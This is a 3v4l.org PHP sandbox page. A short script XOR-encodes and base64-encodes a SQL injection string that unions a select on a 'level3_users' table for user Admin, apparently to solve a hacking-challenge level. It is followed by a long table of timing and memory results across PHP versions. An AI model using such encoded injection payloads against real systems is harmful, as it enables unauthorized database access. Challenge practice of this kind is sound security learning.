3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0 union select 1,2,3,4,5 from level3_users where user=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00318.43
8.3.50.0100.01018.05
8.3.40.0040.01118.84
8.3.30.0120.00618.85
8.3.20.0040.00420.26
8.3.10.0080.00022.09
8.3.00.0050.00322.27
8.2.180.0140.00416.63
8.2.170.0140.00022.96
8.2.160.0100.00320.52
8.2.150.0060.00324.18
8.2.140.0080.00024.66
8.2.130.0090.00926.16
8.2.120.0040.00419.36
8.2.110.0120.00922.11
8.2.100.0110.00419.51
8.2.90.0040.00419.28
8.2.80.0050.00318.05
8.2.70.0080.00017.50
8.2.60.0000.00818.05
8.2.50.0030.00618.07
8.2.40.0040.00418.16
8.2.30.0000.00718.16
8.2.20.0070.00017.66
8.2.10.0000.00819.41
8.2.00.0030.00517.79
8.1.270.0080.00022.18
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0090.00024.03
8.1.230.0070.00419.10
8.1.220.0080.00017.75
8.1.210.0000.00818.77
8.1.200.0030.00616.99
8.1.190.0040.00417.52
8.1.180.0040.00418.10
8.1.170.0060.00318.50
8.1.160.0070.00521.86
8.1.150.0040.00418.65
8.1.140.0040.00417.34
8.1.130.0000.00717.82
8.1.120.0040.00417.43
8.1.110.0000.00717.38
8.1.100.0040.00417.41
8.1.90.0040.00417.39
8.1.80.0030.00417.49
8.1.70.0000.00717.33
8.1.60.0080.00517.61
8.1.50.0000.00717.43
8.1.40.0000.00717.46
8.1.30.0040.00417.64
8.1.20.0040.00417.66
8.1.10.0000.00717.59
8.1.00.0000.00817.53
8.0.300.0000.00718.77
8.0.290.0050.00317.30
8.0.280.0000.00818.39
8.0.270.0000.00717.30
8.0.260.0030.00316.82
8.0.250.0030.00317.04
8.0.240.0040.00417.00
8.0.230.0050.00216.96
8.0.220.0030.00316.96
8.0.210.0000.00716.85
8.0.200.0000.00616.86
8.0.190.0000.00817.00
8.0.180.0050.00216.85
8.0.170.0030.00516.95
8.0.160.0080.00016.92
8.0.150.0000.00716.93
8.0.140.0070.00016.78
8.0.130.0030.00313.32
8.0.120.0000.00817.01
8.0.110.0070.00016.76
8.0.100.0000.00817.00
8.0.90.0000.00716.98
8.0.80.0090.00616.96
8.0.70.0090.00016.81
8.0.60.0000.00716.97
8.0.50.0040.00416.94
8.0.30.0140.00517.12
8.0.20.0130.00617.40
8.0.10.0000.00716.96
8.0.00.0100.00916.89
7.4.330.0000.00515.00
7.4.320.0060.00016.43
7.4.300.0030.00316.63
7.4.290.0000.00716.56
7.4.280.0070.00016.54
7.4.270.0000.00816.56
7.4.260.0030.00316.55
7.4.250.0050.00216.41
7.4.240.0040.00416.64
7.4.230.0000.00716.68
7.4.220.0090.00916.65
7.4.210.0070.00816.62
7.4.200.0050.00316.74
7.4.190.0040.00416.82
7.4.160.0030.01216.43
7.4.150.0100.00717.40
7.4.140.0120.00617.86
7.4.130.0080.01116.55
7.4.120.0150.00316.53
7.4.110.0080.00816.42
7.4.100.0190.00716.44
7.4.90.0160.00316.56
7.4.80.0100.01119.39
7.4.70.0070.01016.60
7.4.60.0070.01116.42
7.4.50.0060.00016.62
7.4.40.0060.00922.77
7.4.30.0090.00916.67
7.4.00.0110.00714.62
7.3.330.0000.00613.41
7.3.320.0050.00013.36
7.3.310.0040.00416.41
7.3.300.0070.00016.40
7.3.290.0130.00616.40
7.3.280.0090.01016.40
7.3.270.0070.01117.40
7.3.260.0160.00316.45
7.3.250.0080.01016.57
7.3.240.0100.00616.66
7.3.230.0040.01516.52
7.3.210.0130.00416.65
7.3.200.0060.01019.39
7.3.190.0150.00316.75
7.3.180.0090.00616.71
7.3.170.0060.01016.68
7.3.160.0030.01216.75
7.3.120.0000.01215.00
7.3.10.0100.00816.60
7.3.00.0060.00816.37
7.2.330.0110.00616.73
7.2.320.0080.01116.66
7.2.310.0110.00716.90
7.2.300.0120.00916.80
7.2.290.0100.00716.54
7.2.130.0130.00816.58
7.2.120.0190.00916.60
7.2.110.0310.00716.65
7.2.100.0180.00616.70
7.2.90.0330.00916.99
7.2.80.0120.00916.70
7.2.70.0130.01016.57
7.2.60.0180.00717.04
7.2.50.0260.00916.87
7.2.40.0050.00816.80
7.2.30.0220.00316.83
7.2.20.0390.01017.00
7.2.10.0240.01116.94
7.2.00.0190.00817.64
7.1.250.0040.01015.72
7.1.200.0070.00715.97
7.1.100.0090.00618.12
7.1.70.0000.01017.08
7.1.60.0140.01019.82
7.1.50.0000.01816.73
7.1.00.0070.07022.35
7.0.200.0030.00616.63
7.0.140.0000.07721.99
7.0.120.0130.03720.11
7.0.110.0030.03721.97
7.0.100.0070.03322.09
7.0.90.0070.05322.01
7.0.80.0100.03722.00
7.0.70.0030.04021.98
7.0.60.0070.03022.04
7.0.50.0030.03721.91
7.0.40.0070.04019.98
7.0.30.0070.04019.91
7.0.20.0130.03019.94
7.0.10.0030.03320.00
7.0.00.0000.03720.09
5.6.280.0030.07321.00
5.6.270.0000.04320.83
5.6.260.0000.04020.93
5.6.250.0070.05021.03
5.6.240.0100.04321.01
5.6.230.0030.04721.04
5.6.220.0030.03321.02
5.6.210.0000.03720.92
5.6.200.0030.03321.04
5.6.190.0100.03320.89
5.6.180.0030.03320.89
5.6.170.0100.03320.87
5.6.160.0000.03720.95
5.6.150.0030.03320.80
5.6.140.0000.04020.88
5.6.130.0000.04721.00
5.6.120.0030.05020.83
5.6.110.0070.06720.68
5.6.100.0030.05320.67
5.6.90.0030.08020.77
5.6.80.0070.03720.33
5.6.70.0030.03020.16
5.6.60.0070.07720.23
5.6.50.0000.04020.16
5.6.40.0030.04720.34
5.6.30.0000.04020.05
5.6.20.0130.06720.15
5.6.10.0100.03320.21
5.6.00.0030.07320.12
5.5.380.0030.08017.59
5.5.370.0070.03717.51
5.5.360.0030.04317.50
5.5.350.0070.03717.54
5.5.340.0000.03318.21
5.5.330.0130.02317.91
5.5.320.0000.03717.92
5.5.310.0030.03318.11
5.5.300.0030.03318.20
5.5.290.0070.04318.08
5.5.280.0000.06318.23
5.5.270.0000.03317.82
5.5.260.0070.03717.92
5.5.250.0070.05317.90
5.5.240.0030.03717.48
5.5.230.0000.05317.50
5.5.220.0030.03017.33
5.5.210.0000.04017.34
5.5.200.0000.05317.57
5.5.190.0030.04017.27
5.5.180.0030.03717.27
5.5.160.0000.06017.43
5.5.150.0030.06717.25
5.5.140.0030.07017.41
5.5.130.0000.07717.41
5.5.120.0030.05017.30
5.5.110.0000.04017.27
5.5.100.0000.03717.38
5.5.90.0000.03717.46
5.5.80.0030.03717.34
5.5.70.0070.03017.35
5.5.60.0000.04717.30
5.5.50.0030.06017.48
5.5.40.0000.06017.16
5.5.30.0000.04717.45
5.5.20.0000.04317.29
5.5.10.0000.04017.32
5.5.00.0070.03317.45
5.4.450.0070.03019.29
5.4.440.0070.02719.39
5.4.430.0000.05719.29
5.4.420.0070.03719.57
5.4.410.0000.05719.15
5.4.400.0030.03319.13
5.4.390.0030.03018.97
5.4.380.0000.04319.07
5.4.370.0030.03319.12
5.4.360.0030.03719.08
5.4.350.0030.07319.03
5.4.340.0100.03019.17
5.4.320.0030.05319.13
5.4.310.0000.06019.17
5.4.300.0100.03319.14
5.4.290.0070.05318.93
5.4.280.0030.03718.95
5.4.270.0000.03718.93
5.4.260.0000.06319.12
5.4.250.0030.03719.27
5.4.240.0030.03719.04
5.4.230.0030.03318.93
5.4.220.0070.03318.97
5.4.210.0070.03319.10
5.4.200.0000.04318.94
5.4.190.0000.05019.26
5.4.180.0130.02719.26
5.4.170.0030.03019.12
5.4.160.0000.04319.11
5.4.150.0000.03318.94
5.4.140.0000.03316.32
5.4.130.0000.03016.31
5.4.120.0070.02316.38
5.4.110.0030.03016.38
5.4.100.0030.03716.50
5.4.90.0000.03016.59
5.4.80.0000.03316.40
5.4.70.0030.02716.53
5.4.60.0000.03016.51
5.4.50.0000.03016.34
5.4.40.0030.02716.52
5.4.30.0030.02716.42
5.4.20.0100.03716.18
5.4.10.0030.06316.47
5.4.00.0000.03715.95
5.3.290.0000.08014.69
5.3.280.0000.03714.62
5.3.270.0000.03714.74
5.3.260.0000.03714.63
5.3.250.0000.03714.59
5.3.240.0100.06014.59
5.3.230.0000.04014.60
5.3.220.0000.03014.59
5.3.210.0000.03714.59
5.3.200.0000.03014.53
5.3.190.0000.03014.54
5.3.180.0030.02714.56
5.3.170.0000.03314.57
5.3.160.0030.02714.59
5.3.150.0070.03314.58
5.3.140.0000.03014.60
5.3.130.0000.07314.69
5.3.120.0070.02714.57
5.3.110.0000.03714.57
5.3.100.0000.03014.08
5.3.90.0000.04313.98
5.3.80.0030.03014.04
5.3.70.0000.05314.09
5.3.60.0030.03314.15
5.3.50.0030.02714.18
5.3.40.0070.03313.97
5.3.30.0000.03013.92
5.3.20.0030.03313.56
5.3.10.0030.02713.75
5.3.00.0000.03713.50
5.2.170.0000.02711.15
5.2.160.0000.03711.23
5.2.150.0000.03011.23
5.2.140.0000.03011.16
5.2.130.0000.03011.20
5.2.120.0000.02711.17
5.2.110.0000.03011.20
5.2.100.0000.02311.12
5.2.90.0000.03311.07
5.2.80.0070.02711.11
5.2.70.0030.02311.11
5.2.60.0000.02711.12
5.2.50.0070.02711.11
5.2.40.0000.02711.02
5.2.30.0000.03010.95
5.2.20.0070.02310.96
5.2.10.0030.02010.87
5.2.00.0000.02310.79
5.1.60.0000.0309.97
5.1.50.0030.0239.97
5.1.40.0070.0179.94
5.1.30.0000.02710.35
5.1.20.0030.02010.38
5.1.10.0100.01710.05
5.1.00.0070.02010.25
5.0.50.0000.0179.82
5.0.40.0030.0179.82
5.0.30.0000.0279.82
5.0.20.0000.0439.82
5.0.10.0030.0139.82
5.0.00.0030.0239.82
4.4.90.0030.0109.81
4.4.80.0000.0139.81
4.4.70.0000.0139.81
4.4.60.0030.0109.81
4.4.50.0000.0139.82
4.4.40.0030.0309.82
4.4.30.0000.0139.82
4.4.20.0000.0139.82
4.4.10.0000.0179.82
4.4.00.0030.0179.82
4.3.110.0030.0109.82
4.3.100.0000.0109.82
4.3.90.0000.0109.82
4.3.80.0000.0209.82
4.3.70.0030.0139.82
4.3.60.0000.0379.82
4.3.50.0000.0279.82
4.3.40.0000.0309.82
4.3.30.0000.0179.82
4.3.20.0000.0209.82
4.3.10.0000.0179.82
4.3.00.0000.0209.82

preferences:
58.52 ms | 400 KiB | 5 Q